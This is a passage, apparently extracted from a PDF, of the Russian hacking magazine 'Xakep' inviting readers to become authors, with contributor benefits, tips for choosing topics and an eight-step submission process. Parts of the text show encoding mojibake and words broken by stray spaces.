• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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